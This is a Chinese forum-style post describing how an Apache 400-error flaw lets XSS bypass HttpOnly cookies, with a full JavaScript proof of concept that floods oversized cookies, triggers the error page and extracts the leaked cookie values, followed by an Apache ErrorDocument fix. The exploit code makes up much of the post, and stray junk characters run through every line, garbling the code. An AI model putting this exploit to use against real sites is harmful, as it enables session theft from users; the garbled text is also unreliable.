很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。9 d6 Y/ ]. b. J# X, ]' c9 B
w1 `0 A9 V5 X" K Q
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:" }6 T7 T) \. Y* k6 X
, }# ^' A/ e7 V9 P8 @5 ?$ m/ U+ g) D: G# j" p. W: s
// http://www.exploit-db.com/exploits/18442/$ n: G" ~+ f, r; q
function setCookies (good) {
# p4 A' d8 `: l/ [5 }// Construct string for cookie value
9 R& L, e0 w! [' w: mvar str = "";
0 S4 U9 Q! q/ l% ufor (var i=0; i< 819; i++) {) a- ^ c" a/ D) Z
str += "x";
4 q( A' C1 f0 v: O- R* F}1 ]8 f5 V3 t8 c9 F8 a8 |
// Set cookies
# B0 y0 j7 x4 L- J9 O7 Vfor (i = 0; i < 10; i++) {
2 j& ]/ }: c3 @" ^, Z/ r: {; D// Expire evil cookie
9 W8 J$ e* @: h2 e0 Dif (good) {
& _0 x5 f1 O5 q1 jvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";6 F% ^# y& {% b. `
}
/ Q1 {/ X, a) P// Set evil cookie' |( Z: R% P/ I! [
else {
7 j C+ z W8 {5 }var cookie = "xss"+i+"="+str+";path=/";8 m- v& G& ~( R$ t5 W
}/ b |( v0 L. o2 [4 ?8 L# E
document.cookie = cookie;
8 p R8 e% {% Q}
! z5 c, B& m, c& S}5 ~! k! L9 o% M, I- e! ]5 ~1 ?
function makeRequest() {
: B' R+ s- I- ^: S* U; O6 F0 dsetCookies();
# j. X }0 a. zfunction parseCookies () {
* H" u, _- B, j6 Y& ]5 Wvar cookie_dict = {};2 r( b" {* d/ E
// Only react on 400 status
9 b! T( I' m2 |# ]1 z1 [, Tif (xhr.readyState === 4 && xhr.status === 400) {
! g* c& |2 w2 @; O: d7 R( G// Replace newlines and match <pre> content
) }" i; l- |& O' E. I! V0 Y7 F" ^var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
9 d6 X2 J4 c4 a" Qif (content.length) {
8 ?) v/ u1 G# `' Z! [// Remove Cookie: prefix3 d4 i$ m. q- z+ ~( b' O; y1 E
content = content[1].replace("Cookie: ", "");
0 C' h4 Q' e/ l/ gvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
& F3 K3 O+ }' ?1 P3 J// Add cookies to object5 q7 }1 e, g- g+ ]
for (var i=0; i<cookies.length; i++) {
# J/ l6 g" {! t6 Zvar s_c = cookies.split('=',2);
; {7 h U4 h6 y2 {( E \# `cookie_dict[s_c[0]] = s_c[1];
: X" u8 b8 |' ^}* ^' `" [1 q' A7 R+ C- G! l6 [
}
( q& }) o7 E, M! L8 Q: @// Unset malicious cookies) J" h7 w/ a8 v4 ?! m2 {6 k8 S
setCookies(true);
# k+ I0 J4 _( x' Y. malert(JSON.stringify(cookie_dict));
# o! S( |/ h( }- s5 z3 m) f" B P# f}
( E c3 s: {+ @2 X1 P}+ B. h ]. n) S* E! i
// Make XHR request& r v. D" ~: Z. E4 M$ p0 x
var xhr = new XMLHttpRequest();9 u, ~8 J7 q0 I; y
xhr.onreadystatechange = parseCookies;0 B. S: P: O2 a" t0 b
xhr.open("GET", "/", true);
$ _& Y- e+ d; w- gxhr.send(null);
3 b" v* O* O6 I$ o- b}( k J1 e% n# z# J2 M2 F
makeRequest();
: h" W, g1 r( _4 s% { P6 I( P* c L( ^$ ?( x1 _
你就能看见华丽丽的400错误包含着cookie信息。
- T0 |7 w' M1 A6 X/ {) O. O6 e( v; X0 n; |9 F- s; J* K \. ?
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
8 I0 f1 X1 o- m3 G1 P. I$ [! p- O7 I4 \5 C5 d/ E3 [# t
修复方案:' h0 z. x! Q$ I: j" p: t2 o4 W
0 H: X. R. M7 \+ A! ~% S \. @ KApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下; y- T. X( m, o
7 O. A) u+ H8 B2 H$ w
In the event of a problem or error, Apachecan be configured to do one of four things,; `6 W. h. [3 k. j' R1 m+ }& Q0 q
+ C. ^ B6 u# Y( C$ G: M% b- J5 p3 v
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息5 q2 Q. ^* D( @, s% q% X' K) U+ Q
2. output acustomized message输出一段信息! f) u8 g. x- |# g/ d J
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 5 r& C9 ]& n0 P. A2 L* o
4. redirect to an external URL to handle theproblem/error转向一个外部URL
8 |* [: O3 _) O- x/ f& a$ U$ l5 y7 o( S$ E- W" R) \; ]5 j0 T9 h
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
! L) n, l% d+ B0 Q& H" d* G! Q! g0 F
Apache配置:
( {! h; E$ l" X- M+ C; a3 \4 z+ q5 y: q7 n
ErrorDocument400 " security test"- @) {# v+ \9 _3 W- j
* k/ {8 ]; x+ U" j2 s/ `( e当然,升级apache到最新也可:)。
7 `7 x6 ]3 I8 h. h2 K
9 S. `6 R$ p$ H0 T% _参考:http://httpd.apache.org/security/vulnerabilities_22.html6 m, q" E; c8 N& e
5 V( N$ \- J2 f2 K; B0 ~
|